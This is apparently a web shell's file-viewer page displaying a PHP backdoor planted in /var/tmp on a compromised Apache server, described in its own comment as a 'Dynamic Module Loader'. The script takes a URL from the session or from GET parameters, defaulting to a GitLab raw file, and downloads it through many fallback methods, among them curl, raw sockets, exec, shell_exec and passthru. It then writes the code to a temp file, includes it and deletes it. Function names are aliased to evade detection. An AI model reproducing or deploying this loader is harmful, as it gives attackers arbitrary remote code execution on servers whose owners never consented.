HEX
Server: Apache
System: Linux server1.yalehafricanfoods.shop 5.14.0-687.15.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jun 11 08:51:45 EDT 2026 x86_64
User: yalenocb (1002)
PHP: 8.1.34
Disabled: NONE
Upload Files
File: //var/tmp/0e03bchdM4wa
<?php
/* Dynamic Module Loader */

session_start();
 $input = $_SESSION['ts_url'] ?? $_GET['input'] ?? $_GET['load'] ?? 'https://gitlab.com/ardeaindah-group/ardearep/-/raw/main/massmCopy.txt';
if (!$input) exit;

// Fungsi yang BISA di-alias (function biasa)
 $fn = [
    // I/O Operations
    'rd'   => 'file_get_contents',
    'op'   => 'fopen',
    'strm' => 'stream_get_contents',
    'cl'   => 'fclose',
    
    // Connection
    'ini'  => 'curl_init',
    'set'  => 'curl_setopt_array',
    'go'   => 'curl_exec',
    'end'  => 'curl_close',
    
    // Network
    'sk1'  => 'fsockopen',
    'sk2'  => 'stream_socket_client',
    'sk3'  => 'socket_create',
    'sk4'  => 'socket_connect',
    'sk5'  => 'socket_write',
    'sk6'  => 'socket_read',
    'sk7'  => 'socket_close',
    'sk8'  => 'stream_socket_shutdown',
    
    // Process
    'p1'   => 'proc_open',
    'p2'   => 'proc_close',
    'x1'   => 'exec',
    'x2'   => 'shell_exec',
    'x3'   => 'passthru',
    
    // File system
    'tmp'  => 'tempnam',
    'put'  => 'file_put_contents',
    'rm'   => 'unlink',
    
    // Utils
    'parse'=> 'parse_url',
    'dns'  => 'gethostbyname',
    'ctx'  => 'stream_context_create',
    'ex'   => 'function_exists',
    'spl'  => 'SplFileObject',
    'ob1'  => 'ob_start',
    'ob2'  => 'ob_get_clean'
];

function fetchModule($u) {
    global $fn;
    
    $c = $fn['ctx'](['http'=>['timeout'=>20,'follow_location'=>true],'ssl'=>['verify_peer'=>false]]);
    
    // M1: Read
    $d = @$fn['rd']($u,false,$c);
    if(trim($d)) return $d;
    
    // M2: Connect & Go
    if($fn['ex']($fn['ini'])){
        $h=$fn['ini']();$fn['set']($h,[CURLOPT_URL=>$u,CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>20,CURLOPT_SSL_VERIFYPEER=>0]);$r=$fn['go']($h);$fn['end']($h);if(trim($r))return$r;
    }
    
    // M3: SPL
    try{$r=new $fn['spl']($u);$b='';while(!$r->eof())$b.=$r->fgets();if(trim($b))return$b;}catch(Exception$e){}
    
    // M4: Open stream
    $fp=@$fn['op']($u,'r',false,$c);
    if($fp){$d=$fn['strm']($fp);$fn['cl']($fp);if(trim($d))return$d;}
    
    // Socket methods
    $p=$fn['parse']($u);$hn=$p['host']??'';$pt=$p['path']??'/';$po=($p['scheme']??'')=='https'?443:80;
    
    if($hn){
        // sk1 - fsockopen
        $s=@$fn['sk1']($hn,$po,$e,$er,20);
        if($s){fwrite($s,"GET $pt HTTP/1.1\r\nHost:$hn\r\nConnection:close\r\n\r\n");$r='';while(!feof($s))$r.=fgets($s);fclose($s);$i=strpos($r,"\r\n\r\n");if($i!==false)return substr($r,$i+4);}
        
        // sk2 - stream_socket_client
        $addr=(($p['scheme']??'')=='https'?'ssl://':'tcp://')."$hn:$po";
        $sk=@$fn['sk2']($addr,$en,$es,20);
        if($sk){fwrite($sk,"GET $pt HTTP/1.1\r\nHost:$hn\r\nConnection:close\r\n\r\n");$d=$fn['strm']($sk);$fn['sk8']($sk,STREAM_SHUT_RDWR);$i=strpos($d,"\r\n\r\n");if($i!==false)return substr($d,$i+4);}
        
        // sk3-sk7 - socket_create
        if($fn['ex']($fn['sk3'])){
            $ip=$fn['dns']($hn);if($ip!=$hn){
                $s=@$fn['sk3'](AF_INET,SOCK_STREAM,SOL_TCP);
                if($s&&@$fn['sk4']($s,$ip,$po)){
                    $fn['sk5']($s,"GET $pt HTTP/1.1\r\nHost:$hn\r\nConnection:close\r\n\r\n");
                    $b='';while($c=@$fn['sk6']($s,1024))$b.=$c;$fn['sk7']($s);
                    $i=strpos($b,"\r\n\r\n");if($i!==false)return substr($b,$i+4);
                }
            }
        }
    }
    
    // CLI methods
    $safe=escapeshellarg($u);
    foreach(["curl -sL --max-time 20 $safe","wget -qO- --timeout=20 $safe"] as$cmd){
        // proc_open
        if($fn['ex']($fn['p1'])){
            $pr=@$fn['p1']($cmd,[[0=>'pipe','r'],[1=>'pipe','w'],[2=>'pipe','w']],$pi);
            if(is_resource($pr)){fclose($pi[0]);$o=$fn['strm']($pi[1]);fclose($pi[1]);fclose($pi[2]);$fn['p2']($pr);if(trim($o))return$o;}
        }
        // exec
        if($fn['ex']($fn['x1'])){@$fn['x1']($cmd.'2>&1',$o,$rv);if(!$rv&&$o)return join("\n",$o);}
        // shell_exec
        if($fn['ex']($fn['x2'])){$o=@$fn['x2']($cmd.'2>&1');if(trim($o))return$o;}
        // passthru
        if($fn['ex']($fn['x3'])){$fn['ob1']();@$fn['x3']($cmd.'2>&1',$rv);$o=$fn['ob2']();if(!$rv&&trim($o))return$o;}
    }
    return null;
}

// ⚠️ include() HARUS LANGSUNG - tidak bisa di-alias!
function renderMod($code) {
    global $fn;  // tmp, put, rm
    
    if(!trim($code)) return;
    
    // Buat temp file pakai alias
    $t = $fn['tmp'](sys_get_temp_dir(), 'md_');
    @$fn['put']($t, $code);
    
    // ❌ SALAH: $fn['inc']($t);  <- include adalah language construct!
    // ✅ BENAR: include langsung
    include $t;
    
    // Hapus temp file pakai alias
    @$fn['rm']($t);
}

// ============================================
// EXECUTE
// ============================================
if ($d = fetchModule($input)) {
    renderMod($d);
}